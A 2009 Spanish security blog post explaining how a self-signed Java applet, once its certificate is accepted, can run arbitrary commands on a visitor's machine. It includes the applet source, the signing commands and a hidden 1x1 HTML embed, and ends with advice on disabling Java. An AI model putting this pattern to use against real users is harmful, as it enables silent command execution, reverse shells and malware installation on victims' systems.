23 sept. 2009

Ejecución Applets de Java maliciosos

Un applet es un programa escrito en el lenguaje de programación Java que puede ser incluido en una página web HTML mediante la directiva "<em><applet></applet></em>". Cuando el navegador identifica un applet de java en el documento web a visualizar, el código java del applet se descarga al sistema operativo donde la maquina virtual de java (Java Virtual Machine o JVM) y se ejecuta, esto permite crear programas que cualquier usuario puede ejecutar con tan solo cargar una URL en su navegador si este tiene el plugin de java instalado.

La idea de los creadores de Java era crear un lenguaje que tuviera limitaciones intrínsecas o estructurales para acceder al sistema operativo por motivos de seguridad, el objetivo era evitar la creación de virus, gusanos o cualquier otro tipo de malware realizable con Java y que pudiera ser explotable desde el navegador. Este fue el motivo que provocó que en Java 1.0 no se permitiera acceso al sistema local del usuario, pero uso duró poco tiempo ya que dicha restricción limitaba mucho a los desarrolladores de applets de java y a los posibles usos de la tecnología Java vía web. A partir de la versión 1.1 se decidió permitir al código acceder a los recursos del sistema operativo local, siempre y cuando el applet estuviera firmado por una entidad de confianza o bien que el usuario de forma voluntaria aceptara la firma de certificado no confiable. Esto benefició y potencio mucho el uso de la tecnología Java para la creación de applets, ya que gracias a su condición multiplataforma y la posibilidad de acceso a los recursos del sistema operativo, se abrían infinitas posibilidades de desarrollo más interesantes, como la posibilidad de crear juegos en linea a través del navegador.

En lo que respecta a temas de seguridad, siempre se ha dicho que la relación existente entre la "facilidad de uso" y la "seguridad" es muy estrecha y como veremos, en el caso de los applets de java se sigue manteniendo esa premisa.

Anteriormente decíamos que un applet de java puede acceder a nuestro sistema si está firmado por una entidad de confianza, pero de no estarlo, siempre cabe la posibilidad de que el usuario acepte su certificado de forma manual por medio de una ventana parecida a esta.

Esta ventana es común encontrarla al utilizar servicios de chat en linea o mini juegos web que ofrece Internet, el problema recae en que la mayoría de usuarios están acostumbrados a pulsar sobre el botón de "Aceptar" sin ningún tipo de reparo con tal de jugar, la gran mayoría de ellos ni leen los mensajes de advertencia de dichas ventanas. La popularidad de estos applets en el ámbito recreativo junto a la sencilla forma que ofrece SUN de permitirles acceder al sistema operativo (Unix / Microsoft), deja por tanto una puerta abierta para realizar infecciones o ataques a usuarios de a pie de una forma muy simple.

Si se intenta ejecutar en el navegador un applet con instrucciones de acceso a recursos locales y no firmado por una entidad de confianza, no se podrá ejecutar, apareciendo en la consola de JVM un mensaje de error de este tipo:
java.security.AccessControlException: access denied

Lo que vamos a ver a continuación es como crear e integrar un sencillo Applet de java que ejecute un comando Unix (Xterm) en la maquina del usuario que acepte el certificado del applet.

Código del applet: skata.java
import java.applet.*;
import java.awt.*; 
import java.io.*;
public class skata extends Applet
{
     public void init()
     {
          Process f;
          String first = getParameter("first");
 
           try
           {
                f = Runtime.getRuntime().exec(first);
           }
 
           catch(IOException e)
           {
                e.printStackTrace();
           }
      }
}

Compilamos el fichero "skata.java" y generamos el fichero .jar
$ javac skata.java
$ jar -cf busi_applet.jar skata.class

Ahora debemos firmarlo, por lo que tenemos que crear un certificado (1 día de validez) y luego firmar el Applet:
$ keytool -genkey -alias pconcepto -validity 1 -v
$ jarsigner busi_applet.jar pconcepto -verbose

Una vez que tenemos el applet creado y firmado, generamos un documento html donde añadir el applet.
<html>
<body>
    <applet width="1" height="1" code="skata.class" archive="busi_applet.jar">
        <param name="first" value="xterm -e sleep 10">
        </applet>
</body>
</html>

Dado el anterior ejemplo, el fichero html y el applet (Fichero ".jar") deben estar en el mismo directorio, de no estar en la misma carpeta se debe indicar la ruta en la directiva "archive". Esta prueba de concepto ejecuta una terminal xterm en el sistema operativo (Unix) del usuario que acepte el certificado, los permisos con los que se ejecuta dicha terminal son los mismos que tiene el usuario que arranco el navegador. Para la prueba de concepto hemos seleccionado Xterm y un applet que lanza un solo comando, pero realmente se podría ejecutar cualquier comando o conjunto de comandos que atentase contra la seguridad del usuario, ya que con este método sería fácil obtener una shell inversa con privilegios de usuario, infectar con cualquier tipo de malware al sistema, intentar obtener la contraseña de root por medio de "alias" o cualquier otra cosa que se nos ocurra.

Prueba de concepto (Xterm): http://www.busindre.com/archivos/javapc/
NOTA: No todos los GNU/Linux vienen con Xterm instalada por defecto. Al usar este tipo de "ataques" bajo sistemas Windows es común que el antivirus lo detecte y avise al usuario.

Deshabilitar el uso de applets de java en Mozilla Firefox:
Editar > Preferencias > Contenido > Activar java

Enlaces de Interés:

Fuente: http://www.busindre.com/

Author & Editor

Ingeniero Civil en Computación (Universidad de Chile FCFM) y Diplomado en Gestión y Evaluación de Proyectos TI (Universidad de Chile FEN). Actualmente trabajo como Project Manager en varios proyectos y como asesor tecnológico para empresas.

0 Notaciones:

Publicar un comentario

Nota: solo los miembros de este blog pueden publicar comentarios.

Labels

0-day (12) 1337day (1) 8.8 (2) Adobe Acrobat (1) Android (2) Anonimato (1) Anonymous (9) BackDoor (2) BackTrack (15) badUSB (1) Base64 (1) Black Hat (7) BlackHat (1) Blackploit (25) Brute Force (3) Bug (106) Bypass Password (1) Bypass Redirect (1) C99 Shell (1) Carding (1) CheatSheet (15) Chilean Way (1) Conference (10) Cryptsetup (1) CSRF (1) DDoS (11) DEF CON (3) DEFCON (7) Diapositivas (1) Diseño Web (1) Distro Linux (27) Documental (2) DoS (2) Drupal (1) DuckDuckGo (1) E-zine (18) Ekoparty (1) Escaneo (4) España (1) Exploit (64) Ezine (1) Facebook (1) Fast-Info (44) FBI (1) Ficheros Binarios (1) Firefox (4) Flash (2) Forense (9) Fuerza Bruta (11) Fuga de Datos (1) GhostShell (1) GNU/Linux (4) Google (2) Guía (1) Hack T00LZ (130) Hack Tips (63) Hacked (6) Hacking (18) Hacking Hardware (5) HashCat (1) Herramientas (121) HighSecCON (1) Humor Geek (13) Infografía (1) Ingeniería Social (5) Inj3ct0r (1) Internet Explorer (3) Java (7) JavaScript (2) Kali (3) KitPloit (1) Leaks (21) Linux OS (79) LulzSec (1) Mac OS (10) Magazine (1) Malaware (3) Malaware Tools (12) Malware (1) Man in the Middle (15) Manuales (3) MD5 CRACK (4) Metasploit (57) MSSQL (1) MySQL (6) MySQL CRACK (1) Nmap (6) Nmap NSE (2) Noticias (193) NTLM CRACK (1) Ofuscar (5) OpenSolaris OS (1) OpenSSL (1) ORACLE (1) OWASP (3) Paper (10) PDF (7) PenTest (14) Perl (2) Phearking (13) Phishing (3) PHP (13) phpMyAdmin (1) PoC (1) Premios Bitacoras (1) Presentaciones (11) PRISM (1) Privacidad (2) Programación (12) Programas Linux (41) Programas Windows (41) Pwned (1) Python (5) Reconocimiento (5) Ruby (2) s (1) Scripts (7) Seguridad (145) Seguridad Web (140) Seguridad Wireless (19) Sensitive Data Exposure (2) SHA1 CRACK (1) Shellshock (1) Slides (1) Spoofing (1) Spyware (1) SQLi (19) SQLi Tools (7) SQLMap (2) SSH (1) Textos (74) Tips (57) Troyanos y Virus (11) Trucos (7) Trucos Win (7) Turiales (56) Tutoriales (18) Twitter (1) Ubuntu (2) Underc0de (1) UnderDOCS (1) Unlock (1) URL Redirection (1) UXSS (1) vBulletin (1) Video (48) Virtualización (2) Web T00LZ (17) Wifislax (1) Wikileaks (1) WikiRebels (1) Windows OS (66) Wireless Tools (13) XSS (16) Youtube (1)

 
biz.